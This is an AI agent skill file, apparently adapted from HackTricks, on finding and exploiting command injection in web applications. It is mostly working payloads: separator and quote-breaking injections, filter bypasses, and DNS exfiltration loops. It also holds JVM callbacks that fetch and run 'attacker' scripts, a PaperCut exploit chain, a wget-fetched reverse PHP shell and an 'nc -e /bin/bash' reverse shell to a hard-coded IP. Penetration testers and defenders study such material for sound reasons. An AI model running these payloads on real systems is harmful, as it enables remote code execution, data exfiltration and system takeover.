Hacktricks-skills command-injection-testing
How to identify, test, and exploit command injection vulnerabilities in web applications. Use this skill whenever the user mentions command injection, OS command injection, RCE through user input, shell metacharacters, or wants to test for arbitrary command execution. Also trigger when users discuss vulnerable parameters like cmd, exec, command, query, ping, or when they need to bypass input filters for security testing.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/command-injection/SKILL.MDCommand Injection Testing
A skill for identifying and testing command injection vulnerabilities in web applications.
What is Command Injection?
Command injection permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. This can lead to full compromise of the application and underlying system.
When to Use This Skill
Use this skill when:
- Testing web applications for command injection vulnerabilities
- Analyzing parameters that might execute system commands
- Bypassing input filters during security assessments
- Investigating RCE (Remote Code Execution) through user input
- Reviewing code that uses shell execution functions
Testing Methodology
Step 1: Identify Vulnerable Parameters
Look for parameters that might be passed to system commands:
?cmd={payload} ?exec={payload} ?command={payload} ?execute={payload} ?ping={payload} ?query={payload} ?jump={payload} ?code={payload} ?reg={payload} ?do={payload} ?func={payload} ?arg={payload} ?option={payload} ?load={payload} ?process={payload} ?step={payload} ?read={payload} ?function={payload} ?req={payload} ?feature={payload} ?exe={payload} ?module={payload} ?payload={payload} ?run={payload} ?print={payload}
Step 2: Test Basic Command Separators
Start with simple command chaining to verify injection is possible:
Unix/Linux:
; id | id && id & id `id` $(id)
Cross-platform:
%0Aid %0aid
Windows:
& id | id
Step 3: Context-Aware Payloads
Depending on where input is injected, you may need to terminate quoted context:
Double-quoted context:
"; id# " | id# " && id#
Single-quoted context:
'; id# ' | id# ' && id#
Step 4: Filter Bypass Techniques
Windows Filter Bypass
powershell C:**2\n??e*d.*? # notepad @^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux Filter Bypass
- Use variable expansion:
${LS_COLORS:10:1}${IFS}id - Use arithmetic expansion in specific contexts
- Reference:
../linux-hardening/bypass-bash-restrictions/
Step 5: Time-Based Blind Testing
When output is not visible, use timing to confirm injection:
# Test if first character of whoami is 's' ; if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi # Test if first character is 'a' ; if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
Measure response time - 5 second delay indicates the condition was true.
Step 6: DNS-Based Data Exfiltration
For blind injection, exfiltrate data via DNS queries:
# List directory contents via DNS for i in $(ls /) ; do host "$i.YOUR_DNSBIN_ID.d.zhack.ca"; done # Using dnsbin.zhack.ca: # 1. Go to http://dnsbin.zhack.ca/ # 2. Execute: for i in $(ls /) ; do host "$i.YOUR_ID.d.zhack.ca"; done
Online tools:
- dnsbin.zhack.ca
- pingb.in
Advanced Techniques
Bash Arithmetic Evaluation Bypass
In RewriteMap/CGI-style scripts, arithmetic contexts can be exploited:
Pattern:
- Parameters map to global variables
- Later checked in arithmetic context:
or[[ $a -gt $b ]]$((...)) - Array references in variable names execute during expansion
Probe (5s delay if vulnerable):
curl -k "https://TARGET/path?st=theValue&h=gPath['sleep 5']"
Node.js child_process Vulnerabilities
Vulnerable pattern:
const { exec } = require('child_process'); exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => { /* … */ });
Safe pattern:
const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ '--id_user', id_user, '--payload', JSON.stringify(payload) ]);
Argument/Option Injection
Even without shell metacharacters, arguments starting with
- can be parsed as options:
Examples:
:ping
/-f
for DoS-c 100000
:curl
to write files,-o /tmp/x
for config injection-K <url>
:tcpdump
for post-rotate execution-G 1 -W 1 -z /path/script.sh
PoC shape:
POST /cgi-bin/handler.cgi Content-Type: application/x-www-form-urlencoded param=-n
JVM Diagnostic Callbacks
Inject JVM arguments for guaranteed execution:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>" -XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Real-World Examples
PaperCut NG/MF RCE
- Access
(auth bypass)/app?service=page/SetupCompleted - Enable scripting:
print-and-device.script.enabled=Y - Disable sandbox:
print.script.sandboxed=N - Inject payload in Scripting tab:
function printJobHook(inputs, actions) {} cmd = ["bash","-c","curl http://attacker/hit"]; java.lang.Runtime.getRuntime().exec(cmd);
Synology Photos RCE (Pwn2Own 2024)
Unauthenticated WebSocket event placed attacker data into
id_user, embedded in exec() call.
Payload Examples
Basic RCE:
vuln=127.0.0.1%0awget https://web.es/reverse.txt -O /tmp/reverse.php%0aphp /tmp/reverse.php vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
Staged payload:
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Testing Checklist
- Identify parameters that might execute commands
- Test basic separators:
,;
,|
,&&
,&$() - Test URL-encoded variants:
,%0A%0a - Test quoted context termination
- Try time-based blind testing
- Attempt DNS exfiltration for blind cases
- Test filter bypass techniques
- Check for argument injection (leading
)- - Review code for unsafe shell execution